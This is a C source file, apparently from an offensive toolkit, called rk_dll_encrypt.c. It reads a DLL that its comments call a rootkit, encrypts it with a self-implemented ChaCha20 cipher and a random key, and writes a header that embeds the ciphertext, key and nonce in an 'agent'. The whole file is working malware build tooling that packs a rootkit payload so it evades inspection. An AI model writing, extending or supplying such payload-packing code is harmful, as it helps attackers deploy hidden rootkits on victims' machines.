219 lines
6.8 KiB
C
219 lines
6.8 KiB
C
/*
|
|||
|
|
* rk_dll_encrypt.c - Encrypt rootkit DLL for embedding in the agent.
|
||
|
|
*
|
||
|
|
* Reads a DLL binary, encrypts it with a random ChaCha20 key, and outputs
|
||
|
|
* a C header file containing the encrypted bytes, key, and nonce.
|
||
|
|
*
|
||
|
|
* Usage: rk_dll_encrypt.exe <input.dll> <output.h>
|
||
|
|
*
|
||
|
|
* Compile: gcc -O2 -o rk_dll_encrypt.exe rk_dll_encrypt.c -lbcrypt
|
||
|
|
*/
|
||
|
|
|
||
|
|
#include <stdio.h>
|
||
|
|
#include <stdlib.h>
|
||
|
|
#include <stdint.h>
|
||
|
|
#include <string.h>
|
||
|
|
|
||
|
|
#ifdef _WIN32
|
||
|
|
#include <windows.h>
|
||
|
|
#include <bcrypt.h>
|
||
|
|
#pragma comment(lib, "bcrypt")
|
||
|
|
#endif
|
||
|
|
|
||
|
|
/* ======================================================================
|
||
|
|
* ChaCha20 implementation (RFC 8439)
|
||
|
|
* ====================================================================== */
|
||
|
|
|
||
|
|
#define ROTL32(v, n) (((v) << (n)) | ((v) >> (32 - (n))))
|
||
|
|
|
||
|
|
#define QR(a, b, c, d) do { \
|
||
|
|
a += b; d ^= a; d = ROTL32(d, 16); \
|
||
|
|
c += d; b ^= c; b = ROTL32(b, 12); \
|
||
|
|
a += b; d ^= a; d = ROTL32(d, 8); \
|
||
|
|
c += d; b ^= c; b = ROTL32(b, 7); \
|
||
|
|
} while(0)
|
||
|
|
|
||
|
|
static uint32_t load_le32(const uint8_t *p) {
|
||
|
|
return ((uint32_t)p[0]) | ((uint32_t)p[1] << 8) |
|
||
|
|
((uint32_t)p[2] << 16) | ((uint32_t)p[3] << 24);
|
||
|
|
}
|
||
|
|
|
||
|
|
static void chacha20_encrypt(const uint8_t key[32], const uint8_t nonce[12],
|
||
|
|
const uint8_t *in, uint8_t *out, size_t len) {
|
||
|
|
uint32_t state[16];
|
||
|
|
state[0] = 0x61707865; state[1] = 0x3320646e;
|
||
|
|
state[2] = 0x79622d32; state[3] = 0x6b206574;
|
||
|
|
for (int i = 0; i < 8; i++)
|
||
|
|
state[4 + i] = load_le32(key + i * 4);
|
||
|
|
state[12] = 0;
|
||
|
|
state[13] = load_le32(nonce);
|
||
|
|
state[14] = load_le32(nonce + 4);
|
||
|
|
state[15] = load_le32(nonce + 8);
|
||
|
|
|
||
|
|
size_t offset = 0;
|
||
|
|
while (offset < len) {
|
||
|
|
uint32_t x[16];
|
||
|
|
memcpy(x, state, 64);
|
||
|
|
for (int i = 0; i < 10; i++) {
|
||
|
|
QR(x[0], x[4], x[ 8], x[12]);
|
||
|
|
QR(x[1], x[5], x[ 9], x[13]);
|
||
|
|
QR(x[2], x[6], x[10], x[14]);
|
||
|
|
QR(x[3], x[7], x[11], x[15]);
|
||
|
|
QR(x[0], x[5], x[10], x[15]);
|
||
|
|
QR(x[1], x[6], x[11], x[12]);
|
||
|
|
QR(x[2], x[7], x[ 8], x[13]);
|
||
|
|
QR(x[3], x[4], x[ 9], x[14]);
|
||
|
|
}
|
||
|
|
uint8_t block[64];
|
||
|
|
for (int i = 0; i < 16; i++) {
|
||
|
|
uint32_t val = x[i] + state[i];
|
||
|
|
block[i*4+0] = (uint8_t)(val);
|
||
|
|
block[i*4+1] = (uint8_t)(val >> 8);
|
||
|
|
block[i*4+2] = (uint8_t)(val >> 16);
|
||
|
|
block[i*4+3] = (uint8_t)(val >> 24);
|
||
|
|
}
|
||
|
|
state[12]++;
|
||
|
|
size_t chunk = len - offset;
|
||
|
|
if (chunk > 64) chunk = 64;
|
||
|
|
for (size_t i = 0; i < chunk; i++)
|
||
|
|
out[offset + i] = in[offset + i] ^ block[i];
|
||
|
|
offset += chunk;
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
/* ======================================================================
|
||
|
|
* Random bytes
|
||
|
|
* ====================================================================== */
|
||
|
|
|
||
|
|
static int random_bytes(uint8_t *buf, size_t len) {
|
||
|
|
#ifdef _WIN32
|
||
|
|
NTSTATUS status = BCryptGenRandom(NULL, buf, (ULONG)len,
|
||
|
|
BCRYPT_USE_SYSTEM_PREFERRED_RNG);
|
||
|
|
return (status >= 0) ? 0 : -1;
|
||
|
|
#else
|
||
|
|
FILE *f = fopen("/dev/urandom", "rb");
|
||
|
|
if (!f) return -1;
|
||
|
|
size_t r = fread(buf, 1, len, f);
|
||
|
|
fclose(f);
|
||
|
|
return (r == len) ? 0 : -1;
|
||
|
|
#endif
|
||
|
|
}
|
||
|
|
|
||
|
|
/* ======================================================================
|
||
|
|
* Main
|
||
|
|
* ====================================================================== */
|
||
|
|
|
||
|
|
int main(int argc, char *argv[]) {
|
||
|
|
if (argc != 3) {
|
||
|
|
fprintf(stderr, "Usage: %s <input.dll> <output.h>\n", argv[0]);
|
||
|
|
return 1;
|
||
|
|
}
|
||
|
|
|
||
|
|
const char *input_path = argv[1];
|
||
|
|
const char *output_path = argv[2];
|
||
|
|
|
||
|
|
/* Read input DLL */
|
||
|
|
FILE *fin = fopen(input_path, "rb");
|
||
|
|
if (!fin) {
|
||
|
|
fprintf(stderr, "ERROR: Cannot open input file: %s\n", input_path);
|
||
|
|
return 1;
|
||
|
|
}
|
||
|
|
|
||
|
|
fseek(fin, 0, SEEK_END);
|
||
|
|
long file_size = ftell(fin);
|
||
|
|
fseek(fin, 0, SEEK_SET);
|
||
|
|
|
||
|
|
if (file_size <= 0 || file_size > 100 * 1024 * 1024) {
|
||
|
|
fprintf(stderr, "ERROR: Invalid file size: %ld\n", file_size);
|
||
|
|
fclose(fin);
|
||
|
|
return 1;
|
||
|
|
}
|
||
|
|
|
||
|
|
uint8_t *dll_data = (uint8_t *)malloc((size_t)file_size);
|
||
|
|
if (!dll_data) {
|
||
|
|
fprintf(stderr, "ERROR: malloc failed\n");
|
||
|
|
fclose(fin);
|
||
|
|
return 1;
|
||
|
|
}
|
||
|
|
|
||
|
|
if (fread(dll_data, 1, (size_t)file_size, fin) != (size_t)file_size) {
|
||
|
|
fprintf(stderr, "ERROR: Failed to read input file\n");
|
||
|
|
free(dll_data);
|
||
|
|
fclose(fin);
|
||
|
|
return 1;
|
||
|
|
}
|
||
|
|
fclose(fin);
|
||
|
|
|
||
|
|
/* Generate random key and nonce */
|
||
|
|
uint8_t key[32], nonce[12];
|
||
|
|
if (random_bytes(key, 32) != 0 || random_bytes(nonce, 12) != 0) {
|
||
|
|
fprintf(stderr, "ERROR: Failed to generate random bytes\n");
|
||
|
|
free(dll_data);
|
||
|
|
return 1;
|
||
|
|
}
|
||
|
|
|
||
|
|
/* Encrypt DLL */
|
||
|
|
uint8_t *enc_data = (uint8_t *)malloc((size_t)file_size);
|
||
|
|
if (!enc_data) {
|
||
|
|
fprintf(stderr, "ERROR: malloc failed\n");
|
||
|
|
free(dll_data);
|
||
|
|
return 1;
|
||
|
|
}
|
||
|
|
|
||
|
|
chacha20_encrypt(key, nonce, dll_data, enc_data, (size_t)file_size);
|
||
|
|
free(dll_data);
|
||
|
|
|
||
|
|
/* Write output header */
|
||
|
|
FILE *fout = fopen(output_path, "w");
|
||
|
|
if (!fout) {
|
||
|
|
fprintf(stderr, "ERROR: Cannot open output file: %s\n", output_path);
|
||
|
|
free(enc_data);
|
||
|
|
return 1;
|
||
|
|
}
|
||
|
|
|
||
|
|
fprintf(fout, "// Auto-generated by rk_dll_encrypt - DO NOT EDIT\n");
|
||
|
|
fprintf(fout, "// Rootkit DLL: %ld bytes (ChaCha20 encrypted)\n", file_size);
|
||
|
|
fprintf(fout, "#ifndef RK_DLL_BYTES_H\n");
|
||
|
|
fprintf(fout, "#define RK_DLL_BYTES_H\n\n");
|
||
|
|
|
||
|
|
/* Key */
|
||
|
|
fprintf(fout, "static const unsigned char RK_DLL_KEY[32] = {\n ");
|
||
|
|
for (int i = 0; i < 32; i++) {
|
||
|
|
fprintf(fout, "0x%02X", key[i]);
|
||
|
|
if (i < 31) fprintf(fout, ", ");
|
||
|
|
if ((i + 1) % 16 == 0 && i < 31) fprintf(fout, "\n ");
|
||
|
|
}
|
||
|
|
fprintf(fout, "\n};\n\n");
|
||
|
|
|
||
|
|
/* Nonce */
|
||
|
|
fprintf(fout, "static const unsigned char RK_DLL_NONCE[12] = {\n ");
|
||
|
|
for (int i = 0; i < 12; i++) {
|
||
|
|
fprintf(fout, "0x%02X", nonce[i]);
|
||
|
|
if (i < 11) fprintf(fout, ", ");
|
||
|
|
}
|
||
|
|
fprintf(fout, "\n};\n\n");
|
||
|
|
|
||
|
|
/* Encrypted data */
|
||
|
|
fprintf(fout, "static const unsigned char RK_DLL_ENC[] = {");
|
||
|
|
for (long i = 0; i < file_size; i++) {
|
||
|
|
if (i % 16 == 0) fprintf(fout, "\n ");
|
||
|
|
fprintf(fout, "0x%02X", enc_data[i]);
|
||
|
|
if (i < file_size - 1) fprintf(fout, ", ");
|
||
|
|
}
|
||
|
|
fprintf(fout, "\n};\n\n");
|
||
|
|
|
||
|
|
fprintf(fout, "static const unsigned int RK_DLL_ENC_SIZE = %lu;\n\n", (unsigned long)file_size);
|
||
|
|
|
||
|
|
fprintf(fout, "#endif // RK_DLL_BYTES_H\n");
|
||
|
|
|
||
|
|
fclose(fout);
|
||
|
|
free(enc_data);
|
||
|
|
|
||
|
|
/* Clear key from memory */
|
||
|
|
memset(key, 0, sizeof(key));
|
||
|
|
memset(nonce, 0, sizeof(nonce));
|
||
|
|
|
||
|
|
printf("Encrypted %ld bytes -> %s\n", file_size, output_path);
|
||
|
|
return 0;
|
||
|
|
}
|